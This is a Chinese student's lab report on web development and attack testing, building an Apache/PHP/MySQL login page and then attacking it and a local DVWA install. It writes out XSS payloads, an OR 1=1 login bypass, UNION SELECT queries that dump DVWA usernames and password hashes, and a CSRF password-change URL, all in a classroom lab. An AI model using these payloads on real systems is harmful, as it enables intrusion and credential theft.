20232328 2025-2026-1《网络与系统攻防技术》实验八实验报告

1.实验内容

  • Web前端HTML。能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
  • Web前端javascipt。理解JavaScript的基本功能,理解DOM。在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”尝试注入攻击:利用回显用户名注入HTML及JavaScript。
  • Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
    *Web后端:编写PHP网页,连接数据库,进行用户认证
  • 最简单的SQL注入,XSS攻击测试
  • 安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。

2.实验目的

搭建WEB网页,进行Web前后端开发和安全测试

3.实验过程

3.1Web前端HTML

3.1.1什么是HTML?

  • HTML 是超文本标记语言,网页的基础骨架,非编程语言
  • 核心作用是用标签描述网页结构和内容语义,供浏览器解析呈现

3.1.2HTML的实现
首先使用如下的命令来检查端口80是否开放

netstat -tupln | grep 80

image
命令执行后没有返回内容,说明当前系统中没有程序在监听 80 端口和占用80端口
然后再kali中直接启动Apache,并确认服务状态

systemctl start apache2
systemctl status apache2.service

image
可以看见apache2处于active状态
打开浏览器进行验证,输入localhost,可以看到Apache的欢迎页面
image
说明Apache Web服务器安装成功

3.1.3 HTML表单功能实现
进入虚拟机的/var/www/html目录,创建html文件
image
然后输入代码进行编写
image
然后根据目录中html文件的地址,双击运行
image

3.2 Web前端JavaScript

3.2.1JavaScript的基本功能有什么?什么是DOM?

  • JavaScript 核心功能:操作网页元素、处理用户交互(点击 / 输入等)、动态修改内容 / 样式、发送网络请求、处理数据(计算 / 解析)、控制页面跳转 / 计时。
  • DOM(文档对象模型):将 HTML 文档抽象为树形结构,让 JS 能访问、修改网页的元素、属性和内容。

3.2.2在3.1.2的基础上添加用户密码规则
加入规则
image
进行验证
image
当输入满足所有要求后
image

3.2.3尝试注入攻击
(1)JavaScript 注入
用户名输入:aaaa<img src=x onerror=alert('XSS注入成功')>
image
(2)HTML 注入
用户名输入test<span style="color:red;font-size:36px;font-weight:bold;">HTML注入成功!</span>
image

3.3Web后端MySQL基础

3.3.1使用下面代码打开MySQL服务

systemctl start mysql
systemctl status mysql

image
使用下面命令启动MySQL,建库、创建用户

mysql
CREATE DATABASE 20232328_data;
USE 20232328_data;
CREATE USER 'user20232328' IDENTIFIED BY 'a123456';
GRANT ALL PRIVILEGES ON 20232328_data.* TO 'user20232328';
FLUSH PRIVILEGES;

使用下面命令建表

CREATE TABLE testtable (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    pwd VARCHAR(255) NOT NULL
);

插入数据

INSERT INTO testtable (name, pwd) VALUES ('mazeyi', 'a123456');

查看插入的数据

SELECT * FROM testtable;

image
3.3.2编写PHP文件
image
登录成功
image
密码错误
image
用户名错误
image
3.3.3SQL注入与XSS注入
1.SQL 注入测试
打开登录页 http://localhost/20232328_test.html;
用户名输入框 输入注入语句' OR 1=1 #
image
显示注入成功,这是因为拼接后的 SQL 语句变为:

SELECT pwd FROM testtable WHERE name = '' OR 1=1 #' LIMIT 1
  • OR 1=1:条件恒成立,查询返回表中第一条记录;
  • 井号注释掉后面的' LIMIT 1,避免语法错误。

2.XSS注入测试

  • 用户名输入mazeyi ;

image
注入成功,这是因为浏览器会执行 script标签内的恶意代码

3.4安装DVWA并完成SQL注入,XSS,CSRF攻击

3.4.1安装DVWA
使用下面命令安装DVWA

sudo apt install dvwa

image
然后开启DVWA

dvwa-start

image

  • 初始用户为:admin
  • 初始密码为:password

然后往下滑,创建一个database,然后重新登录
找到DVMA Security,然后更改为low,一定要点submit
屏幕截图 2025-12-02 105206

3.4.2SQL注入
输入1,输出id为1
image
输入下面的命令获取数据库名

1' UNION SELECT 1,database() from information_schema.schemata#;

image

使用下面命令来查询数据库中所有表的名称

-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

image
使用下面的命令在users表中获取所有字段名称

-1' union select database(),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #

image
使用下面的命令来获取用户名和密码

-1' union select group_concat(user_id,first_name),group_concat(user,password) from users #

image

3.4.3XSS注入

  • XSS(Dom)
    选择修改default参数,来进行注入攻击
    将原本default后面的值修改为>
    image

  • XSS(Reflected)
    在name栏里输入

<script>alert('XSS攻击成功!')</script>

image
可以看见注入成功

  • XSS(Stored)

在Message输入框中填入

<script>alert('2328')</script>

并提交,脚本会被存储,访问页面时就会执行。
image
然后随便输入点击发送,会出现弹窗,说明攻击成功
image

3.4.3CSRF攻击
在 CSRF 页面输入新密码之后,点击change,观察浏览器地址栏的请求 URL,password_new和password_conf为了新密码
image
然后根据获取的信息进行测试admin的新密码
image
发现成功登录
通过直接修改URL修改密码

127.0.0.1:42001/vulnerabilities/csrf/?password_new=666666&password_conf=666666&Change=Change#

然后进行验证密码是不是666666
image
验证通过

4.问题及解决方案

问题一:在使用html链接数据库的时候,会弹出php的代码,而不是直接链接到php
image
问题一解决方案:这是因为直接通过file://协议打开了 HTML 文件,而不是通过 Apache的http协议访问,导致浏览器把login.php当作普通文件弹出,而不是交给 Apache 解析执行。
image
应该是在浏览器地址栏输入 http://localhost/20232328_test.html 然后回车访问。

5.学习感悟、思考

本次Web前后端开发与网络攻击测试实验,让我对网络安全有了全新的具象认知。
前端HTML表单与JavaScript校验的编写中用户交互的每一个输入点都是潜在的安全入口。后端MySQL数据库配置与PHP认证功能的开发,让我看清数据存储与校验环节的防护短板会直接暴露系统风险。DVWA平台的实操中SQL注入、XSS、CSRF等攻击手段,本质上都是对系统设计漏洞与编码不规范的精准利用
实验让我领悟到,网络安全的核心在于“攻防视角的互换”——开发者若只关注功能实现而忽视安全考量,便会给攻击者留下可乘之机;唯有以攻击者的思维审视每一个开发环节,将输入过滤、逻辑校验、权限管控融入从前端到后端的全流程,才能真正理解“攻防一体”的实践意义

posted @ 2025-12-02 12:01  马泽逸  阅读(3)  评论(0)    收藏  举报